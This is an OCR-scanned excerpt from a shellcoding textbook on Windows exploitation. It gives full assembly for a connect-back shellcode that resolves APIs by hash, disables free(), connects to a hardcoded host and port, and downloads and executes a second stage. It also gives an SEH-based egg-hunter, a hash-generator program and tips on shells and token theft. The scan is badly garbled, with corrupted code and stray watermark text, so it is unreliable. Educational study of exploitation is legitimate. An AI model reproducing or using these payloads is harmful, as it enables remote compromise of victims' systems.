{team 509 s Igal"esents
/*GLOBAL DEFINES*?

asm(“
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.set KERNEL32HASH, 0x000d4e88

.set NUMBEROFKERNEL32FUNCTIONS, Ox4

.set VIRTUALPROTECTHASH, 0x38d13c

.set GETPROCADDRESSHASH,0x00348bfa

.set LOADLIBRARYAHASH, 0x000d5786

.set GETSYSTEMDIRECTORYAHASH, 0x069bb2e6

.set WS232HASH, 0x0003ab08
.set NUMBEROFWS232FUNCTIONS, 0x5
.set CONNECTHASH, 0x0000677c

.set RECVHASH, 0x00000cc0
.set SENDHASH, 0x00000cd8
.set WSASTARTUPHASH, 0x00039314
.set SOCKETHASH, 0x000036a4
.set msvcrthash, 0x00037908
.set NUMBEROFMSVCRTFUNCTIONS, 0x01
.set FREEHASH, 0x00000c4e

.set ADVAPI32HASH, 0x000ca608
.set NUMBEROFADVAPI32FUNCTIONS, 0x01
.set REVERTTOSELFHASH, 0x000dcdb4

%

Now, we start our shellcode. We are writing Position Independent Code (PIC),
and the first thing we do is set %ebx to our current location. Then, all local
variables are referenced from %ebx. This is much like how a real compiler would
do it.

[*START OF SHELLCODE*/
asm(“

mainentrypoint:
call geteip
geteip

pop %ebx

Because we don’t know where esp is pointing, we now have to normalize it to
avoid stepping on ourselves whenever we do a call. This can actually be a
problem even in the getPC code, so for exploits where %esp is pointing at you,
you may want to include a sub $50, %esp before the shellcode. If you make the
size of your scratch space too large (0x1000 is what | use here), then you'll step
off the end of the memory segment and cause an access violation trying to write to
the stack. We chose a reasonable size here, which works reliably in most every
situation.
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Weirdly enough, %esp must be aligned in order for some Win32 functions
in ws2_32.dll to work(this actually may be a bug in ws2_32.dlIl). We do that
here:

and $0xffffff00, %esp

We can finally start filling our function table. The first thing we do is get the
address of the functions we need in kernel32.dIl. We've split this into three
calls to our internal function that will fill out our table for us. We set ecx to the
number of functions in our hash list and enter a loop. Each time we go
through the loop, we pass getfuncaddress(), the hash of kernel32.dll (don’t
forget the .dll), and the hash of the function name we’re looking for. When the
program returns the address of the function, we then put that into our table,
which is pointed to by %edi. One thing to notice is that the method for
addressing throughout the code is uniform. LABEL-geteip(%ebx) always
points to the LABEL, so you can use that to easily access stored variables.

/I set up the loop

movl $SNUMBEROFKERNEL32FUNCTIONS, %ecx

lea  KERNEL32HASHESTABLE-geteip(%ebx),%esi
lea KERNEL32FUNCTIONSTABLE-geteip(%ebx),%edi

/Irun the loop

getkernell32functions:

/Ipush the hash we are looking for, which is pointed to by %esi
pushl $KERNEL32HASH

call getfuncaddress

movl %eax, (%edi)

addl %4, %edi

addl  $4, %edi

loop getkernel32functions

Now that we have our table filled with .dllkernel32.dII's functions, we can
get the functions we need from MSVCRT. You'll notice the same loop
structure here. We'll delve into how the getfuncaddress() function works
when we reach it. For now, just assume it works.

/IGET MSVCRT FUNCTIONS

movl $NUMBEROFMSVCRTFUNCTIONS, %ecx
lea  MSVCRTHASHESTABLE-geteip (%ebx), %esi
lea MSVCRTFUNCTIONSTABLE-geteip(%ebx), %edi
getmsvcrtfunctions:

pushl  (%esi)

pushl $MSVCRTHASH

call getfuncaddress

movl  %eax, (Yoedi)
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addl %4, %edi

loop getmsvcrtfunctions
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With heap overflows, you corrupt a heap in order to gain control. But if you
are not the only thread operating on the heap, you may have problems as
other threads attempt to free() memory they allocated on that heap. To
prevent this, we modify the function free() so that it just returns. Opcode 0xc3
is returned, which we use to replace the function prelude.

To do what is described in the previous paragraph, we need to change the
protection mode on the page in which the function free() appears. Like most
pages that have executable code in them, the page containing free() is
marked as read and execute only—we must set the page to +rwx.Virtual —
Protect is in MSVCRT, so we should already have it in our function pointer
table. We temporarily store a pointer to free() in our internal data structures
(we never bother to reset the permissions on the page).

/IQUICKLY!
/IVIRTUALPROTECT FREE +rwx
lea BUF-geteip(%ebx), %eax
pushl %eax

pushl %0x40

pushl $50

movl FREE-geteip(%ebx),%edx
pushl %edx

call *VIRTUALPROTECT-geteip(%ebx)
/Irestore edx as FREE

movl FREE-geteip(%ebx), %edx
/loverwrite it with return!

movl $0xc3c3c3c3, (%edx)

/lwe leave it +rwx

Now, free() no longer accesses the heap at all, it just returns. This
prevents any other threads from causing access violations while we control
the program.

At the end of our shellcode is the string ws2_32.dIl. We want to load it (in
case it is not already loaded), initialize it, and use it to make a connection to
our host, which will be listening on a TCP port. Unfortunately we have several
problems ahead of us. In some exploits, for example the PRC LOCATOR
exploit, you cannot load ws2_32.dIl unless you call RevertToSelf() first. This
is because the “anonymous” user does not have permissions to read any files,
and the locator thread you are in has temporally impersonated the
anonymous user to handle your request. So we have assume ADVAPI.dIl is
loaded and use it to find RevertToSelf. It is a rare Windows program that
doesn’'t have ADVAPI.dIl loaded, but if it is not loaded, this part of the
shellcode will crash. You could add a check to see if the function pointer for
ReVereMb 98N is zBF6 s@ité&all it only if it is not. This check wasn’t done here,
because we've never needed it, and only adds a few more bytes to the size
of the shellcode.
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/INow, we call the RevertToSelf() function so we can actually do some// thing on the
machine

/IYou can't read ws2_32.dll in the locator exploit without this.

movl $NUMBEROFADVAPI32FUNCTIONS, %ecx

lea ADVAPI32HASHESTABLE-geteip(%ebx), %esi

lea ADVAPI32FUNCTIONSTABLE-geteip(%ebx), %edi

getadvapi32functions:
pushl (%esi)

pushl $ADVAPI32HASH
call getfuncaddress

movl %eax, (Yoedi)

addl  $4, %esi

addl  $4, %edi

loop getadvapi32functions

call *REVERTTOSELF-geteip(%ebx)

Now that we’re running as the original process’s user, we have permission
to read ws2_32.dIl. But on some Windows systems, because of the dot (.) in
the path, LoadLibraryA() will fail to find ws2_32.dIl unless the entire path is
specified. This means we now have to call GetSystemDirectoryA() and
prepend that to the string ws2_32.dIl. We do this in a temporary buffer (BUF)
at the end of our shellcode.

/Icall gesystemdirectoryA, then prepend to ws2_32.dll

pushl #2048

lea BUF-geteip(%ebx),%eax

pushl %eax

call *\GETSYSTEMDIRECTORY-geteip(%ebx)

/lok, now buf is loaded with the current working system directory
/lwe now need to append \WS2_32.dll to that, because

/lof a bug in LoadLibraryA, which won't find WS2_32.dll if there is a
/ldot in that path

lea BUF-geteip(%ebx), %eax

findendofsystemroot:

cmpb $0, (%eax)

je foundendofsystemroot

inc %eax

jmp findendofsystemroot

foundendofsystemroot:

/leax is now pointing to the final null of C:\\windows\\system32
lea WS2_32DLL-geteip(%ebx), Y%esi

strcpyintobuf:

movb (%esi), %dl
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movb %dlI, (Yoeax)
test %dl, %dlI

jz donewithstrcpy

inc %esi

inc %eax

jmp strcpyintobuf

donewithstrcpy:

/Noadlibraaya(\"c:\\winnt\\system32\\ws2_32.dII\");
lea BUF-geteip(%ebx), %edx

pushl %edx

call *LOADLIBRARY-geteip(%ebx)

Now that we know for certain that ws2_32.dll has loaded, we can load the
functions from it that we will need for connectivity.

movl SNUMBEROFWS232FUNCTIONS, %ecx
lea WS232HASHESTABLE-geteip(%ebx), %esi
lea WS232FUNCTIONSTABLE-geteip(%ebx),%edi

getws232functions:

/lget getprocaddress
/Ihash of getprocaddress
pushl (%esi)

/lpush hash of KERNEL32.dll
pushl $WS232HASH

call getfuncaddress
movl %eax, (%edi)

addl $4, %esi

addl $4, %edi

loop getws232functions

/lok, now we set up BUFADDR on a quadword boundary
/lesp will do since it points far above our current position
movl %esp, BUFADDR-geteip(%ebx)

/ldone setting up BUFADDR

Of course, you must call WSASTARTUP to get ws2_32.dll rolling. If
ws2_32.dIl has already been initialized, then calling WSASTARTUP won’t do
anything hazardous.

movl BUFADDR-geteip(%ebx), %eax
pushl %eax

pushl $0x101

call *WSASTARTUP-geteip(%ebx)

/Icall socket

hl $
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pushl $2
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call *SOCKET-geteip(%ebx)
movl %eax, FDSPOT-geteip(%ebx)

Now, we call connect(), which uses the address we have hardcoded into
the bottom of the shellcode. For real-world use, you’'d do a search and
replace on the following piece of the shellcode, changing the address to
another IP and port as needed. If the connect() fails, we jump to exitthread
which will simply cause an exception and crash. Sometimes you'll want to call
ExitProcess() and sometimes you'll want to cause an exception for the
process to handle.

/[call connect

/lpush addrlen=16

push $0x10

lea SockAddrSPOT-geteip(%ebx), %esi
/lthe 4444 is our port

pushl %esi

/Ipush fd

pushl %eax

call *CONNECT-geteip(%ebx)
test %eax, %eax

jl exitthread

Next, we read in the size of the second-stage shellcode from the remote
server.

pushl $4

call recvlioop

/lok, now the size is the first word in BUF
/INow that we have the size, we read in that much shellcode into the //buffer.
movl BUFADDR-geteip(%ebx), %edx
movl (%edx), %edx

/Inow edx has the size

push %edx

/Iread the data into BUF

call recvloop

/INow we just execute it.

movl BUFADDR-geteip(%ebx), %edx
call *%edx

At this point, we've given control over to our second-stage shellcode. In
most cases, the second-stage shellcode will go through much of the previous
processes again.

Next, let's look at some of the utility functions we’ve used throughout our
sehllcode. The following code shows the recvloop function, which takes in the
size and Lgﬁf@ some of our “global” variables to control into where it reads

e

datd eER SortEStction, recvioop jumps to the exitthread code if it
finds an error.
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/Irecvloop function

asm(“

/ISTART FUNCTION RECVLOOP
/larguments: size to be read
/Ireads into *BUFADDR

recvioop:

pushl %ebp

movl %esp,%ebp

push %edx

push %edi

/lget argl into edx

movl 0x8(%ebp), %edx

movl BUFADDR-geteip(%ebx), %edi

callrecvloop:

/Inot an argument- but recv() messes up edx! So we save it off here pushl %edx

/Iflags

pushl %edx

/lflags

pushl $0

/llen

pushl $1

II*buf

pushl %edi

movl FDSPOT-geteip(%ebx), %eax
pushl %eax

call *RECV-geteip(%ebx)

/Iprevents getting stuck in an endless loop if the server closes the connection

cmp $Oxffffffff, %oeax
je exitthread

pop! %edx

/Isubtract how many we read

sub %eax, %edx

/Imove buffer pointer forward

add %eax, %edi

/ltest if we need to exit the function
/Irecv returned O

test %eax, %eax

je donewithrecvloop

/lwe read all the data we wanted to read
test %edx, %edx

je donewithrecvloop

jmp callrecvioop

doneW| éryloo
e&gg@sents
pop %edl
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pop %edx
mov %ebp, %esp
pop %ebp
ret $0x04
/IEND FUNCTION

The next function gets a function pointer address from a bash for the DLL
and the function name. It is probably the most confusing function in the entire
shellcode since it does the most work and is fairly unconventional. It relies on
the fact that when a Windows program is running, fs:[0x30] is a pointer to the
Process Environment Block (PEB), and form that you can find all the modules
that are loaded into memory. We walk each module looking for one that has
the name kernel32.dll.dll by doing a hash compare. Our hash function has a
simple flag that allows it to hash Unicode or straight ASCII strings.

Be aware that many published methods are available to run this
process—some more compact that others. Halvar Flake’s code, for example,
uses 16-bit hash values to conserve space; there are many ways to parse a
PE header to get the pointers we're looking for. Additionally, you don’t have
to parse the PE header to get every function—you could parse it to get
GetProcAddress() and use that to get everything else.

/* fs[0x30] is pointer to PEB
*that + Oc is _PEB_LDR_DATA pointer
*that + Oc is in load order module list pointer

For further reference, see:

B www.builder.cz/art/asembler/anti procdump.html

B www.onebull.org/document/doc/win2kmodules.htm

Generally, you will follow these steps:
1. Getthe PE Header from the current module(fs:0x30).
2. Go to the PE header.
3. Go to the export table and obtain the value of nBase.
4. Get arrayOfNames and find the function.

*/

/Ivoid* GETFUNCADDRESS( int hashl, int hash2)

[*START OF CODE THAT GETS THE ADDRESSES*/
/larguments
/Ihash of dll
tedithdd}9 o funutikemts
/Ireturns function address
getfuncaddress:
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pushl %ebp

movl %esp, %ebp
pushl %ebx

pushl %esi

pushl %edi

pushl %ecx

pushl %fs(0x30)

popl %eax

/ltest %eax, %eax

/13S WIN9X

NT:

/lget _PEB_LDR_DATA ptr
movl 0xc(%eax), %eax
/Iget first module pointer list
mov| 0xc(%eax),%ecx

nextinlist:

/Inext in the list into %edx

movl (%ecx), %edx

/lthis is the Unicode name of our module
movl 0x30(%ecx), Y%eax

/Ilcompare the unicode string at %eax to our string
//if it matches KERNEL32.dll, then we have our module address at 0x18+%ecx
/[call hash match

/Ipush unicode increment value

pushl $2

/Ipush hash

movl 8(%ebp), %edi

pushl %edi

/Ipush string address

pushl %eax

call hashit

test %eax, %eax

jz foundmodule

/lotherwise check the next node in the list
movl %edx, %ecx

jmp nextinlist

/IFOUND THE MODULE, GET THE PROCEDURE
foundmodule:

/lwe are pointing to the winning list entry with ecx
/lget the base address
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movl 0x18(%ecx), Y%eax

/lwe want to save this off since this is our base that we will have to add
push %eax

/lok, we are now pointing at the start of the module (the MZ for

/lthe dos header IMAGE_DOSHEADER.e_Ifanew is what we want

/lto go parse (the PE header itself)

movl 0x3c(%eax),%ebx)

addl %ebx, %eax

/1%ebx is now pointing to the PE header (ascii PE)

/IPE->export table is what we want

/10x150-0xd8=0x78 according to OllyDbg

movl 0x78 (%eax), Y%oebx

/leax is now the base again!

pop %eax

push %eax

addl %eax, %ebx

/lthis eax is now the Export Directory Table

/IFrom MS PE-COFF table, 6.3.1 )search for pecoff at MS Site to download)

/IOffset Size Field Description

/116 4 Ordinal Base (usually set to one!)

1124 4 Number of Name pointers (also the number of ordinals)

1128 4 Export Address Table RVA Address EAT relative to base
1132 4 Name Pointer Table RVA Addresses (RVA's) of Names!
1136 4 Ordinal Table RVA You need the ordinals to get

The addresses

/ltheoretically we need to subtract the ordinal base, but it turns
/lout they don’t actually use it

/Imovl 16(%ebx),%edi

/ledi is now the ordinal base!

movl 28(%ebx), %ecx

/lecx is now the address table

movl 32(%ebx), %edx

/ledx is the name pointer table

movl 36(%ebx), %ebx

/lebx is the ordinal table

/leax is now the base address again
/Icorrect those RVA's into actual addresses
addl %eax, %ecx

addl %eax, %edx

addl %eax, %ebx

/IIIHERE IS WHERE WE FIND THE FUNCTION POINTER ITSELF
find_procdure:
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/Ifor each pointer in the name pointer table, match against our hash
/lif the hash matches, then we go into the address table and get the
/laddress using the ordinal table

movl (%edx), %esi

pop %eax

pushl %eax

addl %eax, %esi

/Ipush the hash increment — we are ascii
pushl $1

/Ipush the function hash

pushl 12(%ebp)

/lesi has the address of our actual string
pushl %esi

call hashit

test %eax, %eax

jz found_procedure

/lincrement our pointer into the name table
add $4, %edx

/lincrement out pointer into the ordinal table
/lordinals are only 16 bits

add $2, %ebx

jmp find_procedure

found_procedure:

/Iset eax to the base address again

pop %eax

xor %edx, %edx

/Iget the ordinal into dx

/lordinal=ExportOrdinalTable[i] (pointed to by ebx)

mov (%ebx), %dx

/ISymbolRVA = ExportAddressTable[ordinal-OrddnalBase]
/Isee note above for lack of ordinal base use

/Isubtract ordinal base

/Isub %edi, %edx

/Imultiply that by sizeof(dword)

shl $2, %edx

/ladd that to the export address table (dereference in above .c statement)
/lto get the RVA of the actual address

add %edx, %ecx

/Inow add that to the base and we get our actual address
add (%ecs), %eax

/ldone eax has the address!

popl %ecx
popl! %edi
popl %esi
popl %ebx
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mov %ebp, %esp
pop %ebp
ret $8

The following is our hash function. It hashes a string simply, ignoring case.

/Ihashit function

/ltakes 3 args

/lincrement for unicode/ascii
/Ihash to test against
/laddress of string

hashit:

pushl %ebp

movl %esp, %ebp

push %ecx
push %ebx
push %edx

xor %ecx, %ecx
xor %ebx, %ebx
xor %edx, %edx

mov 8(%ebp), %eax
hashloop:

movb (%eax), %dl

/lconvert char to upper case
or $0x60, %dI

add %edx, Y%ebx

shl $1, %ebx

/ladd increment to the pointer
/12 for unicode, 1 for ascii
addl 16(%ebp), %eax

mov (%eax), %cl

test %cl, %cl

loopnz hashloop

xor %eax, %eax

mov 12(%ebp), %ecx

cmp %ecx, %ebx

jz donehash

/lfailed to match, set eax==1
inc %eax

donehash:

pop %edx

pop %ebx

pop %ecx

mov %ebp, %esp

pop %ebp
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Here is a hashing program in C, used in generating the hashes that the
above shellcode can use. Every shellcode that uses this method will use a
different hash function. AlImost any hash function will work; we chose one
here that was small and easy to write in assembly language.

#include <stdio.h>

main(int argc, char **argv)

{
char *pl
signed int hash;

if (argc<2)

printf(*Usage: hash.exe kernel32.dI\n");
exit(0);
}

p=argv[1];

hash=0;
while (*p!=0)
{

/ltoupper the character

hash=hash + (*(unsigned char * )p | 0x60);
p++;

hash=hash << 1;

}
printf(“Hash: 0x%38.8x\n",hash);
}

If we need to call ExitThread() or ExitProcess(), then we replace the
following crash function with some other function. However, it usually suffices
to use the following instructions:

exitthread:

/ljust cause an exception
xor %eax, %eax

call *%eax

Now, we begin our data. To use this code, you replace the stored
sockaddr with another you’'ve computed that will go to the correct host and
port.

SockAddrSPOT:
/lfirst 2 bytes are the PORT (then AF_INET is 0002)

. 140
t/ servgarqg 6%1%%%%%561155.168.1.101

.long 0x6501a8c0
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KERNEL32HASHESTABLE:

.long GETSYSTEMDIRECTORYAHASH
.long VIRTUALPROTECTHASH

.long GETPROCADDRESSHASH

.long LOADLIBRARYAHASH

MSVCRTHASHESTABLE:
.long FREEHASH

ADVAPI32HASHESTABLE:
.long REVERTTOSELFHASH

WS232HASHETABLE:
.long CONNECTHASH
.long RECVHASH

.long SENDHASH

.long WSASTARTUPHASH
.long SOCKETHASH

WS2_32DLL:
.ascii \"'ws2_32.dIl\”
.long 0x00000000

endsploit:
/Inothing below this line is actually included in the shellcode, but it
/lis used for scratch space when the exploit is running.

MSVCRTFUNCTIONSTABLE:
FREE:
.long 0x00000000

KERNEL32FUNCTIONSTABLE:
VIRTUALPROTECT:

.long 0x00000000
GETPROCADDRA:

.long 0x00000000
LOADLIBRARY:

.long 0x00000000
/lend of kernel32.dll functions table

/Ithis stores the address of buf+8 mod 8, since we
/lare not guaranteed to be on a word boundary, and we
/lwant to be so Win32 api works
BUFADDR:

.long 0x00000000

WF232FUNTIONSTABLE:
CONNECT;:
team 509" Sopg exEDHS000
RECV:
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Send:

.long 0x00000000
WSATARTUP:

.long 0x00000000
SOCKET:

.long 0x00000000
/lend of ws2_32.dll functions table

SIZE:
.long 0x00000000
FDSPOT:
.long 0x00000000
BUF:
.long 0x00000000
)
}

Our main routine prints out the shellcode when we need it to, or calls it
for testing.

int
main()
{
unsigned char buffer[4000];
unsigned char *p;
int i;
char *mbuf, *mubf2;
int error=0;
/lgetprocaddr();
memcpy(buffer, getprocaddr, 2400);
p=buffer;
p+=3; /*skip prelude of function*/
/l#define DOPRINT
#ifdef DOPRINT
/*gdb ) printf “%d\n”, endsploit — mainentrypoint -1 */
printf(“\"”);
for (i=0; i<666;i++);
{
printf(“\\x%2.2x", *p);
if ((i+1)%8==0)
printf(“\"\nshellcode+=\"");
p++;

}
printf(“\"\n");
#endif

tean 309 Sok7EON S
#ifdef DOCALL
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((void®)))(P)) ()
#endif

Searching with Windows Exception Handling

You can easily see that the shellcode in the previous section is much larger
than we’d like it to be. To fix this problem, we write another shellcode that
goes through memory and finds the first shellcode. The order of execution is
as follows:

1. Vulnerable program executes normally.

2. The search shellcode will be inserted.

3. Stage 1 shellcode is executed.

4. Downloaded arbitrary shellcode will be exected.

The search shellcode will be extremely small—for Windows shellcode,
that is. Its final size should be under 150bytes, once you’'ve encoded it and
prepended your decoder, and should fit almost anywhere. If you need even
smaller shellcode, make your shellcode service-pack dependent, and
hardcode the addresses of functions.

To use this shellcode, you need to append an 8-byte tag to the end, and
prepend that same 8-byte tag with the words swapped around to the
beginning of your main shellcode, which can be anywhere else in memory.

#include <stdio.h>

/*
* Released under the GPL V 2.0
* Copyright Immnuity, Inc. 2002-2003
*

Works under SE handling.

Put location of structure in fs:0
Put structure on stack
When called you can pop 4 arguments from the stack
_except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _ CONTEXT *ContextRecord,
void * DispatcherContext );

mePAfcs BRARRYS
{
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DWIRD ContextFlags;

DWORD Dro0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD  SegGs;
DWORD SegGs;
DWORD SegGs;
DWORD SegGs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;
DWORD  SegSs;
} CONTEXT;

Return 0 to continue execution where the exception occurred.

N[@MRS \We searched for TAG1 and TAG2 in reverse order so we
don’t match on ourselves, which would ruin our shellcode.

Also, it is important to note that the exception handler structure (-1,

address)must be on the current thread’s stack. If you have changed ESP you

will have to fix the current thread’s stack in the thread information block to
reflect that. Additionally, you must deal with some nasty alignment issues as

well. These factors combine to make this shellcode larger than we would like.

A better strategy is to set the PEB lock to RtlEnterCriticleSection, as follows:

k=0x744df020;
*(int *)k=RtIEnterCriticalSectionadd;

* */

#define DOPRINT
/[#define DORUN

Zﬁg‘"ré“oégg s presents
{
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[*GLOBAL DEFINES*/
asm(“

.set KERNEL32HASH, 0x000d4e88
)

[*START OF SHELLCODE*/
asm(“

mainentrypoint:

/Itime to fill our function pointer table

sub $0x50, %esp

call geteip

geteip:

pop %ebx

/lebx now has our base!

/Iremove any chance of esp being below us, and thereby
/Ihaving WSASocket or other functions use us as their stack
/lwhich sucks

movl %ebx, %esp

subl $0x1000, %esp

/lesp must be aligned for win32 functions to not crash
and $0xffffff00, %esp

takeexceptionhandler:

/lthis code gets control of the exception handler

/lload the address of our exception registration block into fs:0
lea exceptionhandler-geteip(%ebx), %eax

/Ipush the address of our exception handler
push %eax

/Iwe are the last handler, so we push -1
push $-1

/Imove it all into place...

mov %esp, %fs(0)

/INow we have to adjust our thread information block to reflect we may be
anywhere in memory

/IAs of Windows XP SP1, you cannot have your exception handler itself on
/lthe stack — but most versions of windows check to make sure your
/lexception block is on the stack.

addl $0xc, %esp

movl %esp, %fs:(4)

subl $0xc, %esp

/Inow we fix the bottom of thread stack to be right after our SEH block
movl %esp, %fs:(8)
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/Isearch loop

asm(“

startloop:

xor %esi, %esi

mov TAG1-geteip(%ebx), %edx
mov TAG2-geteip(%ebx), %ecx

memcmp:

/Imay fault and call our exception handler
mov (%esi), Y%eax

cmp %eax, %ecx

jne addaddr

mov 4(%esi), %eax

cmp %eax, %edx

jne addaddr

jmp foundtags

addaddr;
inc %esi
jmp memcmp

fountags:

lea 8(%esi), Y%eax

xor %esi, %esi

/Iclear the exception handler so we don’t worry about that on exit
mov %esi, %fs:(0)

call *%eax

*)’

asm(“

/Ihandles the exceptions as we walk through memory
exceptionhandler:

/lint $3

mov 0xc(%esp), %eax

/lget saved ESI from exception frame into %eax
add $0xa0, %eax

mov (%eax), %edi

/ladd 0x1000 to saved ESI and store it back
add $0x1000, %edi

mov %edi, (Yoeax)

Xxor %eax, %eax

ret

“);

asm(“
endsploit;
/lthese tggs mark the start of our real shellcode
teamcsl9 s presents
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TAG2:
.long 0x45464748

CURRENTPLACE:
/lwhere we are currently looking
long 0x00000000

"‘);
}

int
main()

unsigned char buffer[4000];
unsigned char *p;
inti;
unsigned char stage2[500];

/Isetup stage2 for testing
strepy(stage2, “HGFE");
strcat(stage2, “DCBA\xcc\xcec\xec”):

/lgetprocaddr();
memcpy(buffer, shellcode,2400);
p=buffer;
#ifdef WIN32
P+=3; /*skip prelude of function*/
#endif

#ifdef DOPRINT
#define SIZE 127
printf(“#Size in bytes: %d\n”, SIZE);
[*gdb ) printf “%d\n”, endsploit — mainentrypoint -1 */
printf(*Searchshellcode+=\"");
for (i=0; i<SIZE; i++)
{
printf(“\\x%2.2x",*p);
if ((i+1)%8==0)
printf(“\"\nsearchshellcode+=\"");
p++;

}
printf(“\"\n");
#endif
#ifdef DORUN

((void®) 0) () ()
#endif
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Popping a shell

There are two ways to get a shell from a socket in Windows. In Unix, you would use
dup2() to duplicate the file handles for standard in and standard out, and then
exceve(“/bin/sh”). In Windows, life gets complicated. You can use your socket as input
for CreateProcess(“cmd.exe”) if you use WSASocket() to create it instead of socket().
However, if you stole a socket from the process or didn’t use WSASocket() to create
your socket, you need to do some complex maneuvering with anonymous pipes to
shuffle data back and forth. You may be tempted to use popen(), except it doesn’t
actually work in Win32, and you’ll be forced to reimplement it. Remember a few key
facts:

1. CreateProcessA needs to be called with inheritance set to 1.0therwise when you
pass your pipes into cmd.exe as standard input and standard output they won’t be
readable by the spawned process.

2. You have to close the writeable standard output pipe in the parent process or the
pipe blocks on any read. You do this after you call CreateProcessA but before you
call ReadFile to read the results.

3. Don’t forge to use DuplicateHandle() to make non-inheritable copies of your pipe
handles for writing to standard input and reading from standard output. You’ll
need to close the inheritable handles so they don’t get inherited into cmd.exe.

4. If you want to find cmd.exe, use GetEnvironmentVariable (‘COMSPEC”);

5. You’ll want to set SW_HIDE in CreateProcessA so that little windows don’t pop

up every time you run a command. You also need to set the
STARTF_USESTDHANDLES and STARTF_USESSHOWWINDOW flags.

With this in mind, you’ll find it easy to write your own popen()—one that actually
works.

Why You Should Never Pop a Shell on Windows

Windows inheritance is the one concept a Unix coder has trouble getting used to. In fact,
most Windows programmers have no idea how Windows inheritance works, including
those at Microsoft itself. Windows inheritance and access tokens can make an exploit
developer’s life difficult in many ways. Once you’re in cmd.exe, you’ve given up the
ability to transfer files effectively, which a custom shellcode could have made easy. In
addition, you’ve given up access to the entire Win32 API, which offers much more
functionality than the default Win32 shell. You have also given up your curren thread’s
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token and replaced it with the primary token of the process. In some cases,
the primary token will be LOCAL/SYSTEM,; in other cases, IWSM or IUSR or
some other low-privileged user.

This quirk can stymie you, especially when you use your shellcode to
transfer a file to the remote host and then execute it. You will realize that the
spawned process may not have the ability to read its own executable—it may
be running as an entirely different user than what you expected. So, stay in
your original process and write a server that lets you have access to all the
API calls you'll need. That way you man be able to plunder the thread tokens
of other users, for example, and write and read to files as those users. And
who knows what other resources may be available to the current process that
are marked non-inheritable?

If you do ever want to spawn a process as the user you're impersonating,
you will have to brave CreateProcessAsUser() and use Windows privileges,
primary tokens, and other silly Win32 tricks. Use the tools on Sysinternals
(www.sysinternals.com), especially the process explorer, to analyze token
issues. Token idiosyncrasies are invariably the answer to the question: “Why
doesn’t my Windows shellcode work the way I'd expected it to?”

Conclusion

In this chapter, we worked through how to perform basic, intermediate, and
advanced heap overflows. Heap overflows are much more difficult than
stackbased overflows, and require a detailed knowledge of system internals
in order to orchestrate them correctly. Do not get frustrated if you don’t
succeed at your first attempt: hacking is a trial-and-error process.

If you are interested in advancing the art of Windows shellcode, we
recommend that you either send a DLL across the wire and link it into a
running process (without writing it to the disk, of course), or dynamically
create shellcode and inject it into a running process, linking it with whatever
function pointers are necessary.
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CHAPTER 8

Windows Overflows

If you're reading this chapter, we assume that you have at least a
basic under-standing of the Windows NT or later operatingsystem, and
that you know how to exploit buffer overflows on this platform.
This-chapterdeals withmore advanced aspects of Windows overflows,
such as defeating the stack-based protection built into Windows 2003
Server, an in-depth look at heap overflows, and so on. You should
already be familiar with key Windows con-cepts such as the Thread
Environment Block (TEB), the Process Environment Block (PEB), and
such things as process memory layout, image files, and the PE header.
If you are not familiar with these concepts, | recommend looking at and
understanding them before embarking upon this chapter. We provide a
number of resources on the Shellcoder's Handbook Web site
(www.wiley.com/compbooks/koziol) to help you.

The tools used in this chapter come with Microsoft's Visual Studio 6,
partic-ularly MSDEV for debugging, the command line compiler (cl),
and dumpbin. dumpbin is a great tool for working from a command
shell—it can dump all sorts of useful information about a binary,
imports and exports, section infor-mation, disassembly of the
code—you name it, dumpbin can probably do it. For those who are
more comfortable working with a GUI, Datarescue's IDA Pro is a great
disassembly tool. Most might prefer to use Intel syntax, while others
may prefer to use AT&T syntax. You should use what you feel most
comfortable with.

149
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Stack-Based Buffer Overflows

Ah! The classic stack-based buffer overflow. They've been around for eons
(in computer time anyway), and they'll be around for years to come. Every
time a stack-based Duffer overflow is discovered in modem software, it's hard
to know whether to laugh or cry—either way, they're the staple diet of the
aver-age bug hunter or exploit writer. Many documents on how to exploit
stack-based buffer overruns exist freely on the Internet and are included in
earlier chapters in this book, so we won't repeat this information here.

A typical stack-based overflow exploit will overwrite the saved return
address with an address that points to an instruction or block of code that will
return the process's path of execution into the user-supplied buffer. We'll
explore this concept further, but first we'll take a quick look at frame-based
exception handlers. Then we'll look at overwriting exception registration
structures stored on the stack and see how this lends itself to defeating the
stack protection built into Windows 2003 Server.

Frame-Based Exception Handlers

An exception handler is a piece of code that deals with problems that arise
when something goes wrong within a running process, such as an access
violation or divide by 0 error. With frame-based exception handlers, the
exception han-dler is associated with a particular procedure, and each
procedure sets up a new stack frame. Information about a frame-based
exception handler is stoied in an EXCEPTION_REGISTRATION structure on
the stack. This structure has two elements: the first is a pointer to the next
EXCEPTION_REGISTRATION structure, and the second is a pointer to the
actual exception handler. In this way, frame-based exception handlers are
"connected" to each other as a linked list, as shown in Figure 8.1.

Every thread in a Win32 process has at least one frame-based exception
han-dler that is created on thread startup. The address of the first
EXCEPTION. REGISTRATION structure can be found in each thread's
Environment Block, at FS: [0] in assembly. When an exception occurs, this list
is walked through until a suitable handler (one that can successfully dispatch
with the exception) is found. Stack-based exception handling is set up using
the try and except keywords under C. Remember, you can get most of the
code contained in this book from the Shellcoder's Handbook Web site
(www.wiley.com/compbooks/ koziol), if you do not feel like copying it all down.

#include <stdio.h>
#include <windows.h>

dword MyExceptionHandler(void)
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rintf("In exception handler....');
t EX|tPré§ess( 1); P )
return O;
T
int main(Q)
{
try
{
_asm
{

// Cause an exception
Xor eax,eax
call eax

}
except(MyExceptionHandler())
{
printf(*'oops...");
}
Return 0; }

STACK

Pointer to Next E_R Struct
Pointer to Exception Handler

Pointer to Next E_R Struct <

Pointer to ExceptionHandler

Pointer to Next E_R Struct
Pointer to Exception Handler

Figure 8.1. Frame exception handlers in action
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Here we use try to execute a block of code, and in the event of an exception
occurring, we direct the process to execute the MyExceptionHandler func-tion.
When EAX is set to 0x0 0000000 and then called, an exception will occur and
the handler will be executed.

When overflowing a stack-based buffer, as well as overwriting the saved
return address, many other variables may be overwritten as well, which can
lead to complications when attempting to exploit the overrun. For example,
assume that within a function a structure is referenced and that the EAX
regis-ter points to the beginning of the structure. Then assume a variable
within the function is an offset into this structure and is overwritten on the way
to over-writing the saved return address. If this variable was moved into ESI,
and an instruction such as

